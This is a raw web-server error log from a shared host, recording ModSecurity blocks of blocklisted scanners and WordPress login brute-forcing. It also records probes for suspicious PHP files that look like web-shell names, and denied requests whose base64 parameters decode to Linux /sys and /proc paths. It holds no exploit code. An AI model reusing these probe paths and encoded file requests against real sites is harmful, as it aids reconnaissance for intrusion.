531797:tid 532068] [client 89.251.0.63:53821] AH01264: stderr from /home3/davidtec/public_html/ExpertAppliance.org/cgi-bin: script not found or unable to stat [Sat Jun 13 18:07:10.088689 2026] [security2:error] [pid 531797:tid 532101] [client 20.29.78.145:59381] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 145.78.29.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "sxo.tcq.mybluehost.me"] [uri "/wp-temp.php"] [unique_id "ai3wrsTA7b1mZrmcA-8D8gAAAno"] [Sat Jun 13 18:07:10.091103 2026] [access_compat:error] [pid 531155:tid 531161] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3N5cy9kZXYvYmxvY2svODoxNi9tcQ== [Sat Jun 13 18:07:10.091594 2026] [access_compat:error] [pid 531155:tid 531161] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3N5cy9kZXYvYmxvY2svODoxNi9tcQ== [Sat Jun 13 18:07:10.162842 2026] [access_compat:error] [pid 531155:tid 531282] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9pbnB1dDYvaWQ= [Sat Jun 13 18:07:10.163285 2026] [access_compat:error] [pid 531155:tid 531282] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9pbnB1dDYvaWQ= [Sat Jun 13 18:07:10.265988 2026] [access_compat:error] [pid 531797:tid 531910] [remote 57.141.14.103:30044] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:10.266455 2026] [access_compat:error] [pid 531797:tid 531910] [remote 57.141.14.103:30044] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:10.387551 2026] [access_compat:error] [pid 531155:tid 531279] [remote 57.141.14.109:45062] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:10.387841 2026] [access_compat:error] [pid 531155:tid 531279] [remote 57.141.14.109:45062] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:10.464599 2026] [access_compat:error] [pid 531797:tid 531906] [remote 57.141.14.42:49110] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:10.465059 2026] [access_compat:error] [pid 531797:tid 531906] [remote 57.141.14.42:49110] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:10.568193 2026] [security2:error] [pid 531797:tid 532039] [client 148.113.209.179:41608] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3wrsTA7b1mZrmcA-8EDAAAAj4"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:07:10.600742 2026] [access_compat:error] [pid 531155:tid 531206] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3N5cy9kZXYvYmxvY2svODoxNi9tcQ== [Sat Jun 13 18:07:10.601166 2026] [access_compat:error] [pid 531155:tid 531206] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3N5cy9kZXYvYmxvY2svODoxNi9tcQ== [Sat Jun 13 18:07:10.609775 2026] [access_compat:error] [pid 531797:tid 531907] [remote 57.141.14.8:54439] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:10.610218 2026] [access_compat:error] [pid 531797:tid 531907] [remote 57.141.14.8:54439] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:10.665569 2026] [access_compat:error] [pid 531155:tid 531182] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQyL3N1YnN5c3RlbS9pbnB1dDAvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:07:10.665862 2026] [access_compat:error] [pid 531155:tid 531182] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQyL3N1YnN5c3RlbS9pbnB1dDAvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:07:10.672884 2026] [security2:error] [pid 531797:tid 531965] [remote 17.246.23.15:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 15.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wrsTA7b1mZrmcA-8EFAACO2U"] [Sat Jun 13 18:07:10.678643 2026] [access_compat:error] [pid 531797:tid 531990] [remote 57.141.14.85:29912] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:10.678974 2026] [access_compat:error] [pid 531797:tid 531990] [remote 57.141.14.85:29912] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:11.067073 2026] [security2:error] [pid 531155:tid 531362] [client 20.151.217.54:48136] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.celadondragon.com"] [uri "/bardbdze.php"] [unique_id "ai3wrymiP80klyS0NnrjMAAAAVc"] [Sat Jun 13 18:07:11.142533 2026] [access_compat:error] [pid 531155:tid 531225] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3N5cy9kZXYvYmxvY2svODoxNi9tcQ== [Sat Jun 13 18:07:11.142813 2026] [access_compat:error] [pid 531155:tid 531225] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3N5cy9kZXYvYmxvY2svODoxNi9tcQ== [Sat Jun 13 18:07:11.219116 2026] [access_compat:error] [pid 531155:tid 531236] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9tb3VzZTIvZGV2aWNlL3N1YnN5c3RlbS9pbnB1dDEvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:07:11.219415 2026] [access_compat:error] [pid 531155:tid 531236] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9tb3VzZTIvZGV2aWNlL3N1YnN5c3RlbS9pbnB1dDEvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:07:11.271045 2026] [security2:error] [pid 531155:tid 531311] [client 20.9.67.71:64751] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.pedorthistontario.org"] [uri "/wp-scanner.php"] [unique_id "ai3wrymiP80klyS0NnrjNAAAASQ"] [Sat Jun 13 18:07:11.399233 2026] [security2:error] [pid 531155:tid 531331] [client 148.113.209.179:41614] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3wrymiP80klyS0NnrjNwAAATg"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:07:11.522657 2026] [access_compat:error] [pid 531155:tid 531234] [remote 57.141.14.91:46294] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:11.523091 2026] [access_compat:error] [pid 531155:tid 531234] [remote 57.141.14.91:46294] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:11.605302 2026] [security2:error] [pid 531797:tid 531873] [remote 17.246.15.148:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 148.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wr8TA7b1mZrmcA-8EOwACLgk"] [Sat Jun 13 18:07:11.668607 2026] [access_compat:error] [pid 531155:tid 531254] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9tb3VzZTIvc3Vic3lzdGVtL2V2ZW50My9kZXZpY2UvZXZlbnQzL2RldmljZS9pZA== [Sat Jun 13 18:07:11.668919 2026] [access_compat:error] [pid 531155:tid 531254] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9tb3VzZTIvc3Vic3lzdGVtL2V2ZW50My9kZXZpY2UvZXZlbnQzL2RldmljZS9pZA== [Sat Jun 13 18:07:11.741396 2026] [proxy:error] [pid 531797:tid 532048] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:07:11.741467 2026] [proxy_http:error] [pid 531797:tid 532048] [client 136.0.74.120:42926] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:07:11.742013 2026] [proxy:error] [pid 531797:tid 532048] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:07:11.742042 2026] [proxy_http:error] [pid 531797:tid 532048] [client 136.0.74.120:42926] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:07:11.743789 2026] [access_compat:error] [pid 531155:tid 531177] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3N5cy9kZXYvYmxvY2svODoxNi9tcQ== [Sat Jun 13 18:07:11.744067 2026] [access_compat:error] [pid 531155:tid 531177] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3N5cy9kZXYvYmxvY2svODoxNi9tcQ== [Sat Jun 13 18:07:11.747290 2026] [security2:error] [pid 531797:tid 532117] [client 20.29.78.145:60508] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 145.78.29.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "sxo.tcq.mybluehost.me"] [uri "/xmu.php"] [unique_id "ai3wr8TA7b1mZrmcA-8ESAAAAoo"] [Sat Jun 13 18:07:11.824144 2026] [security2:error] [pid 531797:tid 531948] [remote 17.22.245.112:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 112.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wr8TA7b1mZrmcA-8EUQACgVQ"] [Sat Jun 13 18:07:11.992804 2026] [proxy:error] [pid 531155:tid 531390] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:07:11.992897 2026] [proxy_http:error] [pid 531155:tid 531390] [client 136.0.74.120:42940] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.bri.ujo.mybluehost.me/ [Sat Jun 13 18:07:11.994597 2026] [proxy:error] [pid 531155:tid 531390] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:07:11.994661 2026] [proxy_http:error] [pid 531155:tid 531390] [client 136.0.74.120:42940] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.bri.ujo.mybluehost.me/ [Sat Jun 13 18:07:12.067434 2026] [proxy:error] [pid 531155:tid 531262] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:07:12.067533 2026] [proxy_http:error] [pid 531155:tid 531262] [remote 138.197.47.99:53014] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:07:12.068315 2026] [proxy:error] [pid 531155:tid 531262] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:07:12.068364 2026] [proxy_http:error] [pid 531155:tid 531262] [remote 138.197.47.99:53014] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:07:12.244061 2026] [access_compat:error] [pid 531155:tid 531204] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3N5cy9kZXYvYmxvY2svODoxNi9tcQ== [Sat Jun 13 18:07:12.244509 2026] [access_compat:error] [pid 531155:tid 531204] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3N5cy9kZXYvYmxvY2svODoxNi9tcQ== [Sat Jun 13 18:07:12.289266 2026] [access_compat:error] [pid 531155:tid 531191] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvc3Vic3lzdGVtL2lucHV0Mi9pbnB1dDI6Om51bWxvY2svZGV2aWNlL2lk [Sat Jun 13 18:07:12.289552 2026] [access_compat:error] [pid 531155:tid 531191] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvc3Vic3lzdGVtL2lucHV0Mi9pbnB1dDI6Om51bWxvY2svZGV2aWNlL2lk [Sat Jun 13 18:07:12.360528 2026] [access_compat:error] [pid 531797:tid 531937] [remote 57.141.14.2:56219] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:12.360814 2026] [access_compat:error] [pid 531797:tid 531937] [remote 57.141.14.2:56219] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:12.393955 2026] [security2:error] [pid 531155:tid 531277] [remote 17.241.219.62:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 62.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wsCmiP80klyS0NnrjWgABW3k"] [Sat Jun 13 18:07:12.458799 2026] [access_compat:error] [pid 531797:tid 531886] [remote 57.141.14.83:48264] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:12.459094 2026] [access_compat:error] [pid 531797:tid 531886] [remote 57.141.14.83:48264] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:12.562564 2026] [security2:error] [pid 531797:tid 532016] [client 191.234.188.123:63904] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/wemanso.php7"] [unique_id "ai3wsMTA7b1mZrmcA-8EgQAAAig"] [Sat Jun 13 18:07:12.565814 2026] [security2:error] [pid 531797:tid 531992] [remote 17.246.15.27:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 27.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wsMTA7b1mZrmcA-8EggACan8"] [Sat Jun 13 18:07:12.690505 2026] [access_compat:error] [pid 531797:tid 531925] [remote 74.7.242.16:54710] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9wcm9jL2lycS82OA== [Sat Jun 13 18:07:12.690807 2026] [access_compat:error] [pid 531797:tid 531925] [remote 74.7.242.16:54710] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9wcm9jL2lycS82OA== [Sat Jun 13 18:07:12.696825 2026] [access_compat:error] [pid 531155:tid 531160] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2Uvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vbW91c2UwL3Bvd2Vy [Sat Jun 13 18:07:12.697253 2026] [access_compat:error] [pid 531155:tid 531160] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: 